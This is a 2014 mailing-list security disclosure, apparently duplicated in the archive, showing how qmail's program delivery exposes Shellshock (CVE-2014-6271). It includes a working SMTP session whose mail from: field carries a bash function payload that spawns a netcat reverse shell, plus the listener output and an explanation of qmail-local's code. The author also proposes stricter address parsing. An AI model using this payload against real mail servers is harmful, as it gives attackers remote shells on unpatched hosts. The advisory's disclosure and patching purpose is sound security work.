Kyle George
2014-09-27 15:36:15 UTC
qmail can be used as an attack vector to exploit bash vulnerable to
CVE-2014-6271 (aka shellshock). This can be used to execute arbitrary
commands as any valid user with a .qmail containing a program delivery.
Common uses of program delivery are procmail, ezmlm, spam checkers, etc.
As has already been said, upgrade your bash now!
The preconditions for this attack to work are:
1) "Shellshock"-vulnerable bash
2) /bin/sh symlinked to bash
3) Email delivery via qmail to a valid user with a .qmail file containing
ANY program delivery (the actual program being delivered to is irrelevant)
DJB acknowledged qmail was a vector in [0], and there has been some
discussion in that thread with partial details. I sent an email privately
to DJB on Thursday afternoon before he sent that message to the list.
While I did not receive a reply, I'll assume he saw it and that's why he
sent the notice.
I delayed sending details publicly, but I think some people have figured
it out now, and it's important to show the severity so people understand
that shellshock is exploitable in ways other than HTTP and patch bash on
all devices, especially permitter ones.
The issue is expoitable via qmail-1.03 (DJB's last release) and
netqmail-1.06. While not exploitable without a vulnerable bash, I think
qmail should be doing more input validation/sanitization of certain fields
in the SMTP dialog.
(Let me also say that I've run qmail for a long time, and that I am
appreciative of qmail and the other software and crypto that DJB has
produced.)
I will now provide an example, explain how it works via qmail, and suggest
a possible change to qmail's input validation.
Example:
======
(terminal 0)
$ nc -l -p 7777
(terminal 1)
$ pwd
/home/kgeorge
$ cat .qmail
|/bin/cat
$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.example.com ESMTP
ehlo me
250-mail.example.com
250-PIPELINING
250 8BITMIME
mail from:<() { :; }; nc -e /bin/bash localhost 7777>
250 ok
rcpt to:<***@example.com>
250 ok
data
354 go ahead
Subject: Vuln
.
250 ok 1411674782 qp 4151
(terminal 0)
$ nc -l -p 7777
ls
mail
whoami
kgeorge
======
What you see above is that I am able to get a connect back shell by
passing specially crafted information in the SMTP dialog. Don't be fooled
by "localhost", it would work regardless. Those of you following this CVE
will notice that the mail from:<> is set to take advantage of the bash
bug, and it looks just like all the other vectors via HTTP, etc.
So why does this work? Well, those of us that have run qmail for a while
know that it uses environment variables [1] to as a way to pass
information to other processes during delivery and as it invokes processes
in the chain [2].
When qmail goes to do local delivery of an email, qmail-lspawn (which runs
as root) does setuid to the uid of the unix user responsible for the email
address. It then exec's qmail-local. qmail-local finds the applicable
.qmail file in the user's home directory, if it exists, parses each line,
and does delivery to each non-comment line. Each non-comment line in a
.qmail indicates delivery to a forwarding address, a maildir, an mbox, or
a program.
If the message is to be delivered to a program (a line beginning with
"|"), then qmail-local first sets some environment variables conveying
information about the messsage. It then forks and execs the program using
/bin/sh -c, as you can see on line 244 of qmail-local.c:
args[0] = "/bin/sh"; args[1] = "-c"; args[2] = prog; args[3] = 0;
sig_pipedefault();
execv(*args,args);
Two of the environment variables that qmail-local sets before doing
program delivery are SENDER and NEWSENDER (among others). qmail
propagates the "envelope sender" -- the thing between <> in the mail from:
part of the SMTP dialog -- verbatim into this variable.
Conceptually, qmail is running this command:
SENDER="MAILFROMVALUEFROMSMTPDIALOG" /bin/sh -c PROGRAMFROMDOTQMAIL
In my example exploit, this is effectively:
SENDER="() { :; }; nc -e /bin/bash localhost 7777" /bin/sh -c /bin/cat
On many systems, /bin/sh is a symlink to bash. When exec'ed, the
vulnerable bash parses SENDER at startup and incorrectly runs the command
under attacker control, with privileges of the local user, regardless of
the program in .qmail.
Again, this is not exploitable without vulnerable bash. However, qmail is
not parsing mail from:<> and rcpt to:<> in accordance with RFC821/RFC2821.
These fields are called "reverse-path" and "foward-path" in the RFCs.
See section 4.1.2 in [3] and [4]. In qmail-smtpd.c, these are parsed by
the addrparse() function. If you read this code, you can see that almost
anything is allowed. I think it's too permissive.
In other words, there is no reason that I can see that qmail should allow
the string "() { :; }; nc -e /bin/bash localhost 7777" to ever pass
through mail from:<> or rcpt to:<> in the first place. I think this is a
bug. Perhaps DJB can offer some historical perspective.
[0] http://marc.info/?l=qmail&m=141170230109642&w=2
[1] http://www.lifewithqmail.org/lwq.html#environment-variables
[2] http://www.catb.org/~esr/writings/taoup/html/ch06s06.html
[3] http://tools.ietf.org/html/rfc821#page-27
[4] http://tools.ietf.org/html/rfc2821#section-4.1.2
CVE-2014-6271 (aka shellshock). This can be used to execute arbitrary
commands as any valid user with a .qmail containing a program delivery.
Common uses of program delivery are procmail, ezmlm, spam checkers, etc.
As has already been said, upgrade your bash now!
The preconditions for this attack to work are:
1) "Shellshock"-vulnerable bash
2) /bin/sh symlinked to bash
3) Email delivery via qmail to a valid user with a .qmail file containing
ANY program delivery (the actual program being delivered to is irrelevant)
DJB acknowledged qmail was a vector in [0], and there has been some
discussion in that thread with partial details. I sent an email privately
to DJB on Thursday afternoon before he sent that message to the list.
While I did not receive a reply, I'll assume he saw it and that's why he
sent the notice.
I delayed sending details publicly, but I think some people have figured
it out now, and it's important to show the severity so people understand
that shellshock is exploitable in ways other than HTTP and patch bash on
all devices, especially permitter ones.
The issue is expoitable via qmail-1.03 (DJB's last release) and
netqmail-1.06. While not exploitable without a vulnerable bash, I think
qmail should be doing more input validation/sanitization of certain fields
in the SMTP dialog.
(Let me also say that I've run qmail for a long time, and that I am
appreciative of qmail and the other software and crypto that DJB has
produced.)
I will now provide an example, explain how it works via qmail, and suggest
a possible change to qmail's input validation.
Example:
======
(terminal 0)
$ nc -l -p 7777
(terminal 1)
$ pwd
/home/kgeorge
$ cat .qmail
|/bin/cat
$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.example.com ESMTP
ehlo me
250-mail.example.com
250-PIPELINING
250 8BITMIME
mail from:<() { :; }; nc -e /bin/bash localhost 7777>
250 ok
rcpt to:<***@example.com>
250 ok
data
354 go ahead
Subject: Vuln
.
250 ok 1411674782 qp 4151
(terminal 0)
$ nc -l -p 7777
ls
whoami
kgeorge
======
What you see above is that I am able to get a connect back shell by
passing specially crafted information in the SMTP dialog. Don't be fooled
by "localhost", it would work regardless. Those of you following this CVE
will notice that the mail from:<> is set to take advantage of the bash
bug, and it looks just like all the other vectors via HTTP, etc.
So why does this work? Well, those of us that have run qmail for a while
know that it uses environment variables [1] to as a way to pass
information to other processes during delivery and as it invokes processes
in the chain [2].
When qmail goes to do local delivery of an email, qmail-lspawn (which runs
as root) does setuid to the uid of the unix user responsible for the email
address. It then exec's qmail-local. qmail-local finds the applicable
.qmail file in the user's home directory, if it exists, parses each line,
and does delivery to each non-comment line. Each non-comment line in a
.qmail indicates delivery to a forwarding address, a maildir, an mbox, or
a program.
If the message is to be delivered to a program (a line beginning with
"|"), then qmail-local first sets some environment variables conveying
information about the messsage. It then forks and execs the program using
/bin/sh -c, as you can see on line 244 of qmail-local.c:
args[0] = "/bin/sh"; args[1] = "-c"; args[2] = prog; args[3] = 0;
sig_pipedefault();
execv(*args,args);
Two of the environment variables that qmail-local sets before doing
program delivery are SENDER and NEWSENDER (among others). qmail
propagates the "envelope sender" -- the thing between <> in the mail from:
part of the SMTP dialog -- verbatim into this variable.
Conceptually, qmail is running this command:
SENDER="MAILFROMVALUEFROMSMTPDIALOG" /bin/sh -c PROGRAMFROMDOTQMAIL
In my example exploit, this is effectively:
SENDER="() { :; }; nc -e /bin/bash localhost 7777" /bin/sh -c /bin/cat
On many systems, /bin/sh is a symlink to bash. When exec'ed, the
vulnerable bash parses SENDER at startup and incorrectly runs the command
under attacker control, with privileges of the local user, regardless of
the program in .qmail.
Again, this is not exploitable without vulnerable bash. However, qmail is
not parsing mail from:<> and rcpt to:<> in accordance with RFC821/RFC2821.
These fields are called "reverse-path" and "foward-path" in the RFCs.
See section 4.1.2 in [3] and [4]. In qmail-smtpd.c, these are parsed by
the addrparse() function. If you read this code, you can see that almost
anything is allowed. I think it's too permissive.
In other words, there is no reason that I can see that qmail should allow
the string "() { :; }; nc -e /bin/bash localhost 7777" to ever pass
through mail from:<> or rcpt to:<> in the first place. I think this is a
bug. Perhaps DJB can offer some historical perspective.
[0] http://marc.info/?l=qmail&m=141170230109642&w=2
[1] http://www.lifewithqmail.org/lwq.html#environment-variables
[2] http://www.catb.org/~esr/writings/taoup/html/ch06s06.html
[3] http://tools.ietf.org/html/rfc821#page-27
[4] http://tools.ietf.org/html/rfc2821#section-4.1.2
--
Kyle George
Kyle George